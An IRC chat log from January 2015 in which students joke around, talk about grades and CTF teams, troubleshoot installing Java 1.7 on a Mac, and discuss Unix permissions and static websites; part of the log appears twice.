[2015-01-29T00:55:56-0500] <assface> GIB ADDRESS
[2015-01-29T00:56:13-0500] <jwoglom> huh, it can
[2015-01-29T00:56:15-0500] <jwoglom> interesting
[2015-01-29T00:58:19-0500] <+hardmath123> " Netcat was written by a guy we know as the Hobbit <hobbit@avian.org>."
[2015-01-29T00:58:29-0500] <+hardmath123> That's tantalizingly mysterious.
[2015-01-29T00:59:15-0500] <assface> musterius
[2015-01-29T00:59:40-0500] <+hardmath123> "Coyote finally caught me."
[2015-01-29T00:59:42-0500] <+hardmath123> -_-
[2015-01-29T00:59:49-0500] <+Tamini> lol, roadrunner?
[2015-01-29T01:00:11-0500] <+hardmath123> i would have imagined nezorg as the coyote
[2015-01-29T01:00:40-0500] <nezorg> my bouncer was down
[2015-01-29T01:00:43-0500] <nezorg> so, context?
[2015-01-29T01:00:51-0500] <+Tamini> coyote vs roadrunner
[2015-01-29T01:00:56-0500] <nezorg> oh
[2015-01-29T01:00:56-0500] <+Tamini> nezorg is more like _____
[2015-01-29T01:01:11-0500] <nezorg> ...?
[2015-01-29T01:01:13-0500] <nezorg> wat
[2015-01-29T01:01:25-0500] <assface> 5 spaces
[2015-01-29T01:01:28-0500] <assface> 5-2 = 3
[2015-01-29T01:01:33-0500] <assface> nezorg has 2 eyes
[2015-01-29T01:01:36-0500] <assface> 3 sides to a triangle
[2015-01-29T01:01:40-0500] <assface> ILLUMINATI
[2015-01-29T01:01:48-0500] <nezorg> ILLUMINATI HALF LIFE 3 CONFIRMED
[2015-01-29T01:01:52-0500] <assface> coincidence? I THINK NOT
[2015-01-29T01:03:06-0500] <+Tamini> nezorg is LITERALLY the illuminati
[2015-01-29T01:03:13-0500] <assface> *hitler
[2015-01-29T01:03:43-0500] <jwoglom> 6 characters in nezorg's name
[2015-01-29T01:03:48-0500] <jwoglom> 5 spaces
[2015-01-29T01:03:51-0500] <jwoglom> 6-5 = 1
[2015-01-29T01:03:54-0500] <jwoglom> there is one illuminati
[2015-01-29T01:04:00-0500] <jwoglom> coincidence?!?!?!
[2015-01-29T01:04:29-0500] <assface> I THINK NOT
[2015-01-29T01:04:47-0500] <nezorg> BUT I HAVE FOUR SIDES GUYS
[2015-01-29T01:04:47-0500] <+hardmath123> ok, so, dammit, vanilla netcat can do 80% of what hamelin advertises
[2015-01-29T01:04:50-0500] <jwoglom> with all of this exhaustive evidence I think we can rest our case
[2015-01-29T01:04:51-0500] <+hardmath123> :(
[2015-01-29T01:05:27-0500] <+Tamini> nezorg is a square?
[2015-01-29T01:05:33-0500] <nezorg> so we finally got an angr irc channel
[2015-01-29T01:05:41-0500] <nezorg> inspired by my comment on an issue
[2015-01-29T01:05:45-0500] <+Tamini> lol
[2015-01-29T01:05:49-0500] <nezorg> that is now the topic
[2015-01-29T01:05:59-0500] <nezorg> "This is so hacky, it's perfect for angr."
[2015-01-29T01:06:05-0500] <+Tamini> :D
[2015-01-29T01:09:24-0500] <assface> huminawhatnow?
[2015-01-29T01:29:43-0500] • Pharyngeal: waves
[2015-01-29T01:45:33-0500] <@awe> Hi Pharyngeal.
[2015-01-29T01:53:13-0500] <LittleBobbyTables> civ 2 > all
[2015-01-29T02:08:37-0500] <assface> liar
[2015-01-29T02:26:26-0500] <Pharyngeal> Hi
[2015-01-29T02:40:15-0500] Mode is +nst
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[2015-01-29T06:25:18-0500] <+JacobEdelman> gmorning again
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[2015-01-29T10:01:18-0500] <Tamini_> @tell alokpathy tell me how hsctf is going :O
[2015-01-29T10:01:18-0500] <awebot> Tamini_: I'll let them know!
[2015-01-29T10:27:44-0500] <@awe> Beep boop.
[2015-01-29T10:36:42-0500] <@awe> bob_twinkles3: y u no bob_twinkles2 or bob_twinkles1?
[2015-01-29T10:39:27-0500] <@awe> Did I ever tell you guys about the bot that I've had running for like a year and a half? (It restarts every few days because Heroku, but still).
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[2015-01-29T10:48:33-0500] <+hardmath123> You should all come to the concert!
[2015-01-29T10:48:42-0500] <@awe> Where and when?
[2015-01-29T10:48:52-0500] <+hardmath123> Gunn HS, tomorrow 7:30 my time.
[2015-01-29T10:49:00-0500] <@awe> That's not very doable.
[2015-01-29T10:49:02-0500] <Hyper> 3far5me
[2015-01-29T10:49:05-0500] <@awe> Want to pay for my airfare?
[2015-01-29T10:49:13-0500] <Hyper> 3schedule5me2
[2015-01-29T10:49:14-0500] • hardmath123: has fulfilled his advertising requirements ("tell your friends")
[2015-01-29T10:49:24-0500] <@awe> Lol.
[2015-01-29T10:49:34-0500] <@awe> You told your internet friends, most of whom live on the other side of the country.
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[2015-01-29T14:26:09-0500] Topic is Temporary qdb: http://backtick.town/~kc/qdb.txt | Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-29T14:26:09-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-29T01:01:48-0500] <nezorg> ILLUMINATI HALF LIFE 3 CONFIRMED
[2015-01-29T01:01:52-0500] <assface> coincidence? I THINK NOT
[2015-01-29T01:03:06-0500] <+Tamini> nezorg is LITERALLY the illuminati
[2015-01-29T01:03:13-0500] <assface> *hitler
[2015-01-29T01:03:43-0500] <jwoglom> 6 characters in nezorg's name
[2015-01-29T01:03:48-0500] <jwoglom> 5 spaces
[2015-01-29T01:03:51-0500] <jwoglom> 6-5 = 1
[2015-01-29T01:03:54-0500] <jwoglom> there is one illuminati
[2015-01-29T01:04:00-0500] <jwoglom> coincidence?!?!?!
[2015-01-29T01:04:29-0500] <assface> I THINK NOT
[2015-01-29T01:04:47-0500] <nezorg> BUT I HAVE FOUR SIDES GUYS
[2015-01-29T01:04:47-0500] <+hardmath123> ok, so, dammit, vanilla netcat can do 80% of what hamelin advertises
[2015-01-29T01:04:50-0500] <jwoglom> with all of this exhaustive evidence I think we can rest our case
[2015-01-29T01:04:51-0500] <+hardmath123> :(
[2015-01-29T01:05:27-0500] <+Tamini> nezorg is a square?
[2015-01-29T01:05:33-0500] <nezorg> so we finally got an angr irc channel
[2015-01-29T01:05:41-0500] <nezorg> inspired by my comment on an issue
[2015-01-29T01:05:45-0500] <+Tamini> lol
[2015-01-29T01:05:49-0500] <nezorg> that is now the topic
[2015-01-29T01:05:59-0500] <nezorg> "This is so hacky, it's perfect for angr."
[2015-01-29T01:06:05-0500] <+Tamini> :D
[2015-01-29T01:09:24-0500] <assface> huminawhatnow?
[2015-01-29T01:29:43-0500] • Pharyngeal: waves
[2015-01-29T01:45:33-0500] <@awe> Hi Pharyngeal.
[2015-01-29T01:53:13-0500] <LittleBobbyTables> civ 2 > all
[2015-01-29T02:08:37-0500] <assface> liar
[2015-01-29T02:26:26-0500] <Pharyngeal> Hi
[2015-01-29T06:25:18-0500] <+JacobEdelman> gmorning again
[2015-01-29T10:01:18-0500] <Tamini_> @tell alokpathy tell me how hsctf is going :O
[2015-01-29T10:01:18-0500] <awebot> Tamini_: I'll let them know!
[2015-01-29T10:27:44-0500] <@awe> Beep boop.
[2015-01-29T10:36:42-0500] <@awe> bob_twinkles3: y u no bob_twinkles2 or bob_twinkles1?
[2015-01-29T10:39:27-0500] <@awe> Did I ever tell you guys about the bot that I've had running for like a year and a half? (It restarts every few days because Heroku, but still).
[2015-01-29T10:48:33-0500] <+hardmath123> You should all come to the concert!
[2015-01-29T10:48:42-0500] <@awe> Where and when?
[2015-01-29T10:48:52-0500] <+hardmath123> Gunn HS, tomorrow 7:30 my time.
[2015-01-29T10:49:00-0500] <@awe> That's not very doable.
[2015-01-29T10:49:02-0500] <Hyper> 3far5me
[2015-01-29T10:49:05-0500] <@awe> Want to pay for my airfare?
[2015-01-29T10:49:13-0500] <Hyper> 3schedule5me2
[2015-01-29T10:49:14-0500] • hardmath123: has fulfilled his advertising requirements ("tell your friends")
[2015-01-29T10:49:24-0500] <@awe> Lol.
[2015-01-29T10:49:34-0500] <@awe> You told your internet friends, most of whom live on the other side of the country.
[2015-01-29T11:23:56-0500] <Hyper> awe: he tried, that's what's important
[2015-01-29T11:55:17-0500] <Tamini_> lol
[2015-01-29T11:55:20-0500] <Tamini_> very much try
[2015-01-29T13:42:58-0500] <+JacobEdelman> Naclo was fun
[2015-01-29T14:20:03-0500] <+JacobEdelman> I feel happy
[2015-01-29T14:20:04-0500] <+JacobEdelman> 2:17 PM <~Randall> OtherJacob: Thanks!
[2015-01-29T14:20:13-0500] <+JacobEdelman> (I'm OtherJacob on the xkcd irc)
[2015-01-29T14:26:10-0500] Mode is +nst
[2015-01-29T14:27:10-0500] <@awe> JacobEdelman: We don't even know why he's thanking you. He could be thanking you for shutting up.
[2015-01-29T14:27:43-0500] <+JacobEdelman> hes thanking me for pointing out a typo in the newest what if (which Ezra found and I gave credit too)
[2015-01-29T14:32:46-0500] <@awe> Literally, all you do is find typos.
[2015-01-29T14:32:52-0500] <@awe> You shouldn't go get a degree in CS.
[2015-01-29T14:32:59-0500] <@awe> You should go get an English degree and professionally do type-editing.
[2015-01-29T14:37:16-0500] <+JacobEdelman> awe: .... cause I'm such a fanstic spelllerer?
[2015-01-29T14:37:23-0500] <@awe> No, you're terrible at that.
[2015-01-29T14:37:26-0500] <@awe> I didn't say you should be a writer.
[2015-01-29T14:37:36-0500] <@awe> I said you should check people's works for typos.
[2015-01-29T14:37:40-0500] <+JacobEdelman> ... you said I should look for typpppos
[2015-01-29T14:37:46-0500] <+JacobEdelman> which is spelll checkiiing
[2015-01-29T14:37:55-0500] <+JacobEdelman> which I would be horrible at
[2015-01-29T14:47:03-0500] <@awe> It's not spell checking.
[2015-01-29T14:47:06-0500] <@awe> It's looking for typos.
[2015-01-29T14:48:48-0500] bob_twinkles3 is now known as bob_twinkles
[2015-01-29T14:48:51-0500] <bob_twinkles> my internet had a sad
[2015-01-29T14:49:49-0500] <Tamini_> by the looks of it
[2015-01-29T14:49:52-0500] <Tamini_> it had a lot of sads
[2015-01-29T14:50:31-0500] <bob_twinkles> indeed
[2015-01-29T14:51:20-0500] <Tamini_> also
[2015-01-29T14:51:26-0500] <Tamini_> by some miracle
[2015-01-29T14:51:28-0500] <Tamini_> A in multi
[2015-01-29T14:51:37-0500] <Tamini_> the power of adding 40 points to my grade
[2015-01-29T14:52:01-0500] <bob_twinkles> I think I have a pretty solid B
[2015-01-29T14:52:19-0500] <bob_twinkles> low 80s both quarters and a 90 on the final, assuming I didn't really fuck up the CH17 test
[2015-01-29T14:54:21-0500] <Tamini_> lol yeap
[2015-01-29T14:54:32-0500] <Tamini_> i need to get <50 on the ch17 to not get an A
[2015-01-29T14:55:39-0500] <Tamini_> also did you never do ec or something
[2015-01-29T14:56:09-0500] <@awe> bob_twinkles: you are now bob_twinkles again.
[2015-01-29T15:16:55-0500] <bob_twinkles> I am
[2015-01-29T15:18:46-0500] <Tamini_> nezorg: hey, which one's you?
[2015-01-29T15:18:52-0500] <Tamini_> the terminal, right?
[2015-01-29T16:52:38-0500] <+JacobEdelman> the world is weird
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[2015-01-29T17:42:22-0500] <alokpathy> So, my physics teacher refuses to curve our midterm multiple choice portion even though virtually everybody got a C or below
[2015-01-29T17:42:22-0500] <awebot> alokpathy: 7 hours ago, Tamini_ said tell me how hsctf is going :O.
[2015-01-29T17:43:05-0500] <alokpathy> and even though he told us two days before the midterm when it was and one day before what would be on it.
[2015-01-29T17:43:12-0500] <alokpathy> Tamini_: We're sorta starting.
[2015-01-29T17:43:36-0500] <Tamini_> aww >.<
[2015-01-29T17:45:12-0500] <alokpathy> He says curving means we didn't understand the content.
[2015-01-29T17:55:10-0500] <alokpathy> Though, I'm pretty sure we just didn't have time to review the content.
[2015-01-29T17:58:28-0500] <+JacobEdelman> alokpathy: to show your anger you should leave school in a few months
[2015-01-29T17:58:34-0500] <+JacobEdelman> and never come back to hsn as a student
[2015-01-29T17:58:47-0500] <alokpathy> I should.
[2015-01-29T18:10:38-0500] <ubuntor> lol
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[2015-01-29T18:33:20-0500] <Tamini_> alokpathy: isnt it kinda his responsibility
[2015-01-29T18:33:28-0500] <Tamini_> to make sure you guys know the stuff tho
[2015-01-29T18:33:34-0500] <alokpathy> YEah
[2015-01-29T18:33:39-0500] <alokpathy> and honestly he's done a shitty job at it.
[2015-01-29T18:35:37-0500] <Tamini_> :(((((
[2015-01-29T18:36:27-0500] <Tamini_> its so annoying because there's virtually no way to fix it and maintain your relationship with your teacher
[2015-01-29T18:38:31-0500] <alokpathy> I think there are ways to do that
[2015-01-29T18:38:36-0500] <alokpathy> though that's not really my issue.
[2015-01-29T18:44:17-0500] <Tamini_> nyeh
[2015-01-29T18:44:23-0500] <Tamini_> but thats kinda unfair.
[2015-01-29T18:44:55-0500] <alokpathy> Yeah.
[2015-01-29T18:44:59-0500] <alokpathy> Hopefully we can convince him/
[2015-01-29T18:46:46-0500] <Tamini_> goooood luck
[2015-01-29T18:46:48-0500] <Tamini_> heh
[2015-01-29T18:47:01-0500] <Tamini_> i cant decide what to do for hsctf >__<
[2015-01-29T18:47:26-0500] <Tamini_> how does one even loyalty
[2015-01-29T18:47:28-0500] <alokpathy> What do you mean?
[2015-01-29T18:48:12-0500] <Tamini_> umm
[2015-01-29T18:48:18-0500] <Tamini_> my team from last year invited me
[2015-01-29T18:48:35-0500] <Tamini_> even tho they kinda kicked me out for pico
[2015-01-29T18:49:07-0500] <Tamini_> and now im debating going back
[2015-01-29T18:49:18-0500] <alokpathy> What's wrong with sticking with Shark Fins?
[2015-01-29T18:49:30-0500] <Tamini_> nothing
[2015-01-29T18:49:42-0500] <Tamini_> but I was basically one of the original raelly members
[2015-01-29T18:49:59-0500] <Tamini_> and plus raelly winning 2x in a row is more impressive
[2015-01-29T18:50:23-0500] <Tamini_> (also we might be exploiting club funds to get raelly cool stuff)
[2015-01-29T18:52:09-0500] <alokpathy> I'd rather have Shark Fins win than Raelly :P
[2015-01-29T18:53:10-0500] <Tamini_> aww why
[2015-01-29T18:53:11-0500] <Tamini_> >.<
[2015-01-29T18:53:45-0500] <Tamini_> you can't have favoritism, man!
[2015-01-29T18:54:00-0500] <alokpathy> 'cause then people can't be like "Oh Raelly wins every year I have no shot"
[2015-01-29T18:54:10-0500] <Tamini_> LOL
[2015-01-29T18:54:14-0500] <Tamini_> but we're like both tj
[2015-01-29T18:54:22-0500] <alokpathy> I mean that's inevitable
[2015-01-29T18:54:28-0500] <Tamini_> also then it'll be "Oh Tamini wins every year I have no shot" ;)
[2015-01-29T18:54:51-0500] <alokpathy> Except team members names aren't on the website :P
[2015-01-29T19:03:55-0500] <+Tamini> lol
[2015-01-29T19:03:57-0500] <+Tamini> but people wil knooooow
[2015-01-29T19:03:59-0500] <+Tamini> <3
[2015-01-29T19:04:26-0500] <+hardmath123> don't pick your team based on what would happen if you won
[2015-01-29T19:04:39-0500] <+Tamini> mainly i'm still torn
[2015-01-29T19:04:45-0500] <+Tamini> because I'm sort of funding raelly
[2015-01-29T19:04:58-0500] <jwoglom> Tamini: probably not a good idea to choose teams based on which you think has the better shot
[2015-01-29T19:05:03-0500] <+Tamini> and i talk to everyone on that team 24/7
[2015-01-29T19:05:05-0500] <jwoglom> just, like, choose the one you like more, i guess?
[2015-01-29T19:05:11-0500] <+Tamini> but idk anymore?
[2015-01-29T19:05:25-0500] <+hardmath123> our CS club has $0.00 right now
[2015-01-29T19:05:46-0500] <+hardmath123> it's kind of sad, really, because we have probably done more actual stuff than almost any other club
[2015-01-29T19:05:50-0500] <+hardmath123> :P
[2015-01-29T19:06:04-0500] <+Tamini> lolol
[2015-01-29T19:06:07-0500] <+Tamini> i ended up
[2015-01-29T19:06:08-0500] <+Tamini> um
[2015-01-29T19:06:15-0500] <+Tamini> accidentally donating $2000 to our csc
[2015-01-29T19:06:19-0500] <+Tamini> we might be embezzling those funds
[2015-01-29T19:06:19-0500] <+hardmath123> ...
[2015-01-29T19:06:23-0500] <+Tamini> by that i mean
[2015-01-29T19:06:32-0500] <+Tamini> "we should get everyone in the club software!" 
[2015-01-29T19:06:33-0500] <+Tamini> because
[2015-01-29T19:06:33-0500] <jwoglom> that's not a bad thing
[2015-01-29T19:06:35-0500] <+Tamini> became*
[2015-01-29T19:06:51-0500] <+Tamini> "we should get ONE representative tj team software! ;)"
[2015-01-29T19:07:24-0500] <alokpathy> hardmath123: We do too, but we don't really need that much money xD
[2015-01-29T19:08:43-0500] <+Tamini> lol
[2015-01-29T19:08:51-0500] <+Tamini> how much does it cost the team to send you all to pclassic?
[2015-01-29T19:09:04-0500] <+hardmath123> also, you people, backtick.town:1337 is NOT HTTP. ACCESS IT WITH NETCAT.
[2015-01-29T19:09:27-0500] <+Tamini> LOL
[2015-01-29T19:09:32-0500] • jwoglom: visits that wonderful website
[2015-01-29T19:09:34-0500] <+Tamini> who's trying that?
[2015-01-29T19:09:37-0500] <+Tamini> don't you like
[2015-01-29T19:09:41-0500] <+Tamini> tell them in the email to
[2015-01-29T19:09:43-0500] <+Tamini> too*
[2015-01-29T19:09:55-0500] <jwoglom> if there was a bot in here that fetched the URL title
[2015-01-29T19:09:57-0500] <alokpathy> Tamini_: ~$20 each
[2015-01-29T19:10:05-0500] <jwoglom> that'd be a bit ironic
[2015-01-29T19:10:07-0500] <+Tamini> alokpathy: lol, oh
[2015-01-29T19:10:08-0500] <+Tamini> right
[2015-01-29T19:10:15-0500] <+Tamini> you guys are pretty close to the place
[2015-01-29T19:10:24-0500] <+hardmath123> Tamini: no that's the qdb :P
[2015-01-29T19:10:24-0500] <alokpathy> Yeah
[2015-01-29T19:10:25-0500] <+Tamini> we have to like go through the effort of driving ourselves uuuugh
[2015-01-29T19:10:48-0500] <alokpathy> Well, our Math Club has to drive to HMMT
[2015-01-29T19:10:51-0500] <alokpathy> we don't have money either :P
[2015-01-29T19:10:52-0500] <alokpathy> I think
[2015-01-29T19:11:05-0500] <alokpathy> though we do have to pay a lot
[2015-01-29T19:11:19-0500] <+Tamini> oh LOL
[2015-01-29T19:13:00-0500] <jwoglom> digitalocean pls
[2015-01-29T19:13:02-0500] <jwoglom> "The email you received several hours ago offering a $10 promo credit was sent in error as a result of a minor mix-up with our email service provider. This credit was intended for users who have never applied a promo, as is our policy. Since you had previously claimed a promo, we are removing the latest $10 credit from your account at this time."
[2015-01-29T19:13:31-0500] <+hardmath123> wow
[2015-01-29T19:14:25-0500] <ubuntor> ...
[2015-01-29T19:16:11-0500] <+Tamini> lolol
[2015-01-29T19:18:26-0500] <+hardmath123> someone tell me the most convenient way for me to have java 1.7 installed on my computer
[2015-01-29T19:19:18-0500] <+hardmath123> java -version should return 1.7-ish.
[2015-01-29T19:19:22-0500] <ubuntor> os?
[2015-01-29T19:19:57-0500] <+hardmath123> Mac
[2015-01-29T19:20:16-0500] <jwoglom> ugh, java upgrades on os x are a pain
[2015-01-29T19:21:09-0500] <ubuntor> does the normal download page not work?
[2015-01-29T19:21:09-0500] <ubuntor> https://www.java.com/en/download/manual_java7.jsp
[2015-01-29T19:21:45-0500] <+hardmath123> i don't know what i want to download
[2015-01-29T19:21:51-0500] <+hardmath123> do i want the "java development kit"?
[2015-01-29T19:22:07-0500] <+hardmath123> i don't think i want the "java plugin"
[2015-01-29T19:22:14-0500] <+hardmath123> and i certainly don't want eclipse or netbeans
[2015-01-29T19:22:18-0500] <alokpathy> If you want to write Java, then, yeah, JDK.
[2015-01-29T19:22:54-0500] <alokpathy> If you just want to run Java then JRE should suffice.
[2015-01-29T19:23:15-0500] <+hardmath123> I want to run Java.
[2015-01-29T19:23:20-0500] <+hardmath123> http://support.apple.com/en-us/HT202643
[2015-01-29T19:23:25-0500] <+hardmath123> uninstallation looks painful -_-
[2015-01-29T19:23:55-0500] <ubuntor> is there a reason you need 7, not 8?
[2015-01-29T19:23:57-0500] <ubuntor> just curious
[2015-01-29T19:24:12-0500] <+hardmath123> "Make sure that the default Java installation on your machine is a 64-bit server VM, version 1.7x"
[2015-01-29T19:24:51-0500] <+hardmath123> trying to run some code
[2015-01-29T19:26:44-0500] <ubuntor> http://javadl.sun.com/webapps/download/AutoDL?BundleId=101461 should work then
[2015-01-29T19:27:21-0500] <+hardmath123> "The system will not install a JRE that has a lower version than the current version. If you wish to install a lower version of the JRE, first uninstall the current version." i'm liking this already...
[2015-01-29T19:27:41-0500] <ubuntor> oh, you already have 1.8 installed?
[2015-01-29T19:27:57-0500] <+hardmath123> no
[2015-01-29T19:28:05-0500] <+hardmath123> i just think that's a supid policy
[2015-01-29T19:28:10-0500] <ubuntor> oh ok
[2015-01-29T19:30:05-0500] <+hardmath123> "Download the jre-7u6-macosx-x64.dmg file. "
[2015-01-29T19:30:07-0500] <+hardmath123> WHERE?
[2015-01-29T19:30:10-0500] <+hardmath123> PROVIDE ME WITH A LINK.
[2015-01-29T19:36:07-0500] <+hardmath123> ubuntor: installed the thing you sent me
[2015-01-29T19:36:13-0500] <+hardmath123> ubuntor: java -version still says "1.7"
[2015-01-29T19:36:15-0500] <+hardmath123> halp
[2015-01-29T19:36:21-0500] <+hardmath123> *1.6
[2015-01-29T19:36:42-0500] <ubuntor> wat
[2015-01-29T19:36:48-0500] <+Tamini> um
[2015-01-29T19:36:50-0500] <+Tamini> i think it hates you
[2015-01-29T19:37:04-0500] <ubuntor> did you have 1.6 installed previously?
[2015-01-29T19:38:07-0500] <+hardmath123> yes
[2015-01-29T19:38:09-0500] <+hardmath123> previously
[2015-01-29T19:38:16-0500] <+hardmath123> java -version => 1.6
[2015-01-29T19:38:28-0500] <+hardmath123> that's the current state, too, though now there's also a java 1.7 installed somewhere doing something somehow
[2015-01-29T19:38:30-0500] <+hardmath123> afsgghklafhksglhklfgsagsaksafsaghku
[2015-01-29T19:38:58-0500] <ubuntor> oh hey
[2015-01-29T19:38:59-0500] <ubuntor> http://stackoverflow.com/questions/12757558/installed-java-7-on-mac-os-x-but-terminal-is-still-using-version-6
[2015-01-29T19:39:24-0500] <jwoglom> hardmath123: what java binary is it trying to load?
[2015-01-29T19:39:34-0500] <+hardmath123> '/usr/bin/java'
[2015-01-29T19:39:44-0500] <jwoglom> that's usually a symlink
[2015-01-29T19:39:58-0500] <jwoglom> you'll probably need to open a new terminal window if you havent done that already
[2015-01-29T19:40:25-0500] <+hardmath123> $JAVA_HOME is not set; and yes, i opened a new window
[2015-01-29T19:40:45-0500] <alokpathy> hardmath123: You have to change your Path I'm pretty sure
[2015-01-29T19:40:57-0500] <+hardmath123> wat
[2015-01-29T19:40:59-0500] <+hardmath123> why
[2015-01-29T19:41:03-0500] <+hardmath123> this should work out-of-the-box
[2015-01-29T19:42:23-0500] <alokpathy> Not from my experience, though my memory's a bit fuzzy
[2015-01-29T19:42:42-0500] <alokpathy> I remember having to tinker with path.
[2015-01-29T19:42:57-0500] <+hardmath123> I seem to have installed a plug-in.
[2015-01-29T19:45:18-0500] <+hardmath123> ok so i need to install the "jdk", apparently
[2015-01-29T19:47:51-0500] <+hardmath123> *sigh* fixed with a ridiculous kludge.
[2015-01-29T19:49:24-0500] <+Tamini> D:
[2015-01-29T19:55:04-0500] <+hardmath123> someday i'm going to look though my .profile and think "what the heck were you smoking?"
[2015-01-29T19:55:14-0500] <+hardmath123> if i complain about i on #pdgn, please yell at me.
[2015-01-29T21:03:09-0500] <+JacobEdelman> gnight all\
[2015-01-29T21:03:15-0500] <+JacobEdelman> *ignore the "\"
[2015-01-29T21:17:49-0500] <+JacobEdelman> the windows 10 hologram things looks uncomfortably like microsoft bob.,...
[2015-01-29T21:17:51-0500] <+JacobEdelman> gtg
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[2015-01-29T23:33:22-0500] <+hardmath123> I spent all day thinking about this
[2015-01-29T23:33:29-0500] <+hardmath123> and i think i've finally convinced myself
[2015-01-29T23:33:37-0500] <+hardmath123> why escape velocity is indepentent of direction
[2015-01-29T23:33:44-0500] <LittleBobbyTables> Because it's velocity
[2015-01-29T23:42:32-0500] <bob_twinkles> a velocity has a direction
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[2015-01-29T23:44:09-0500] <bob_twinkles> it's direction-independent because gravity is conservative
[2015-01-29T23:47:50-0500] <assface> no its not
[2015-01-29T23:47:57-0500] <assface> velocity is a vector quantity
[2015-01-29T23:49:14-0500] <assface> although in the context of mechanical energy(which escape velocity is derived from) velocity is squared
[2015-01-29T23:49:17-0500] <assface> so idk
[2015-01-29T23:50:40-0500] <@awe> Beep boop.
[2015-01-29T23:50:47-0500] <assface> bippidy boppidy boop
[2015-01-30T00:16:31-0500] <LittleBobbyTables> I'm not sure how my teacher would react to me correcting him
[2015-01-30T00:16:36-0500] <LittleBobbyTables> cause I've done nothing in his class....
[2015-01-30T00:18:13-0500] <bob_twinkles> possibly not well
[2015-01-30T00:18:16-0500] <@awe> LittleBobbyTables: I feel you.
[2015-01-30T00:18:45-0500] <LittleBobbyTables> I mean, he's not technically wrong, because he said "I think" instead...
[2015-01-30T00:22:10-0500] <@awe> LittleBobbyTables: what'd he say?
[2015-01-30T00:22:34-0500] <LittleBobbyTables> Give read access to your vimrc after creating it, and I think execute as well. Or just be like me and give it 7 because I want to write to it anyway
[2015-01-30T00:23:01-0500] <@awe> lol, execute on your config files
[2015-01-30T00:23:02-0500] <@awe> ok
[2015-01-30T00:23:04-0500] <ubuntor> ...
[2015-01-30T00:23:06-0500] <bob_twinkles> why would you ever +x .vimrc
[2015-01-30T00:23:17-0500] <@awe> ./vimrc
[2015-01-30T00:23:18-0500] <@awe> wooo
[2015-01-30T00:23:23-0500] <@awe> My systems professor adds . to the path.
[2015-01-30T00:23:34-0500] <@awe> Which I thought was interesting.
[2015-01-30T00:23:39-0500] <ubuntor> maybe you felt fancy and wrote it so it's a valid shell script
[2015-01-30T00:24:00-0500] <bob_twinkles> ./ is too hard
[2015-01-30T00:24:22-0500] <@awe> It's not a bad idae.
[2015-01-30T00:24:45-0500] <bob_twinkles> I like the semantics though
[2015-01-30T00:25:40-0500] <bob_twinkles> I do have a Scripts/ directory where I can dump binaries if I want them in the path without doing a system-wide install which is nice
[2015-01-30T00:25:53-0500] <@awe> Isn't that what /usr/local/bin is?
[2015-01-30T00:26:31-0500] <bob_twinkles> you still need to be root to write there
[2015-01-30T00:26:41-0500] <@awe> Wat?
[2015-01-30T00:26:42-0500] <@awe> No.
[2015-01-30T00:26:45-0500] <bob_twinkles> since that directory is in $path for everyone
[2015-01-30T00:27:00-0500] <@awe> I don't need root for /usr/local/bin
[2015-01-30T00:27:03-0500] <@awe> maybe that's just an OS X thing.
[2015-01-30T00:27:10-0500] <bob_twinkles> yeah, it is
[2015-01-30T00:27:19-0500] <@awe> Ah, well, I like it.
[2015-01-30T00:27:58-0500] <bob_twinkles> both of my linux systems have rwxr-xr-x for /usr/local/
[2015-01-30T00:28:14-0500] <bob_twinkles> /usr/local/bin doesn't even exist
[2015-01-30T00:28:31-0500] <bob_twinkles> so I suppose I could create it with 777 if I really wanted to, but meh
[2015-01-30T00:29:53-0500] <@awe> Fair enough.
[2015-01-30T00:30:19-0500] <bob_twinkles> did you see https://eager.io/blog/build-static-websites/ on /r/programming?
[2015-01-30T00:30:39-0500] <@awe> The answer to did I see X on reddit is always no.
[2015-01-30T00:30:57-0500] <bob_twinkles> the title was "Build static websites: a call to arms"
[2015-01-30T00:31:09-0500] <bob_twinkles> and I  got really excited because I thought that meant no javascript
[2015-01-30T00:31:20-0500] <bob_twinkles> but then it's "serve everything from a CDN and do client-side rendering"
[2015-01-30T00:31:21-0500] <bob_twinkles> and I was sad
[2015-01-30T00:32:44-0500] <@awe> Lol.
[2015-01-30T00:32:47-0500] <bob_twinkles> that's not static goddamnit
[2015-01-30T00:32:49-0500] <@awe> Although, that is an interesting argument.
[2015-01-30T00:33:08-0500] <bob_twinkles> oh, it's probably a good idea
[2015-01-30T00:33:11-0500] <bob_twinkles> and it makes sense
[2015-01-30T00:33:12-0500] <@awe> Build blogging software that just updates the page and serves it on a CDN.
[2015-01-30T00:33:33-0500] <bob_twinkles> I just kinda want pages that don't need to run 100k instructions just to render some text
[2015-01-30T00:33:47-0500] <@awe> Hi.
[2015-01-30T00:33:50-0500] <@awe> I make websites like that.
[2015-01-30T00:34:02-0500] <bob_twinkles> I hate you so much
[2015-01-30T00:34:08-0500] <@awe> No.
[2015-01-30T00:34:09-0500] <@awe> No.
[2015-01-30T00:34:09-0500] <bob_twinkles> you can't be as bad as blogger though
[2015-01-30T00:34:14-0500] <@awe> I meant that don't need to run 100k instructions.
[2015-01-30T00:34:21-0500] <bob_twinkles> oh
[2015-01-30T00:34:24-0500] <bob_twinkles> parsing english is hard
[2015-01-30T00:34:41-0500] <bob_twinkles> you're pretty cool then =P
[2015-01-30T00:34:48-0500] <@awe> http://protoipo.com
[2015-01-30T00:34:52-0500] <@awe> There's not a single line of JS in this page.
[2015-01-30T00:34:52-0500] <+hardmath123> awe: pdgn.co is kinda janky (mac/safari)
[2015-01-30T00:35:06-0500] <@awe> hardmath123: that's also aaronweiss.us, but if you mean the CSS transitions, I agree.
[2015-01-30T00:35:11-0500] <@awe> I just don't know what to do about them.
[2015-01-30T00:35:24-0500] <bob_twinkles> very nice
[2015-01-30T00:35:26-0500] <@awe> ^ that site has js, sorry, bob_twinkles.
[2015-01-30T00:35:37-0500] <@awe> But that's because of Ghost.
[2015-01-30T00:35:37-0500] <+hardmath123> awe: protoipo also. scrolling should be smooth. if it isn't, something is wrong.
[2015-01-30T00:35:44-0500] <@awe> That's the images.
[2015-01-30T00:35:48-0500] <@awe> I was going to mention that.
[2015-01-30T00:35:49-0500] <@awe> They're MASSIVE.
[2015-01-30T00:35:57-0500] <@awe> I need to make smaller ones and then use media queries.
[2015-01-30T00:36:00-0500] <@awe> I just never got around to it.
[2015-01-30T00:36:33-0500] <@awe> Will fix in a few.
[2015-01-30T00:37:36-0500] <+hardmath123> a few... (days|weeks|months|years|decades)\?
[2015-01-30T00:37:40-0500] <@awe> minutes?
